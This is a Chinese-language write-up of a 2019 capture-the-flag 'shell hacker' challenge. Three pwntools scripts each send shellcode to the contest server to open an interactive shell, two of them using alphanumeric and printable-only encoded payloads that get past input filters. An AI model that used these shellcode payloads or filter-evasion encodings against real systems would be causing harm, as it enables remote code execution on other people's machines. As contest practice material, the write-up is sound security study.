题目(hackergame2019→shell骇客)
题目文件下载(提取码:emuy)
chall1
对文件分析完发现只需要生成一个不超过0x200长度的shellcode填充栈即可
如果不了解shellcraft可以参考https://www.jianshu.com/p/355e4badab50
exp
from pwn import *
context(arch = 'amd64', os = 'linux')
p = remote('202.38.93.241', 10000)
p.recvuntil(":")
shellcode = asm(shellcraft.sh())
p.send(shellcode)
p.interactive()
chall2
通过ASCII码表发现限制的条件是0-9和A-Z,想到利用pwnlibc.encoders生成的shellcode.然后利用alpha3.py对pwnlibc.encoders生成的shellcode进行转换,最终成功执行shellcode。
关于pwnlibc.encoders
关于alpha3.py使用的例子
exp
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('202.38.93.241', 10002)
r.recvuntil(":")
r.send('PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2O0Z2G7O1E7M04KO1P0S2L0Y3T3CKL0J0N000Q5A1W66MN0Y0X021U9J622A0H1Y0K3A7O5I3A114CKO0J1Y4Z5F06')
r.interactive()
chall3
与第二题类似,同样是限制条件ASCII内dec值为32到126
exp
from pwn import *
context(arch = 'amd64', os = 'linux')
r = remote('202.38.93.241', 10004)
r.recvuntil(":")
r.send('Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t')
r.interactive()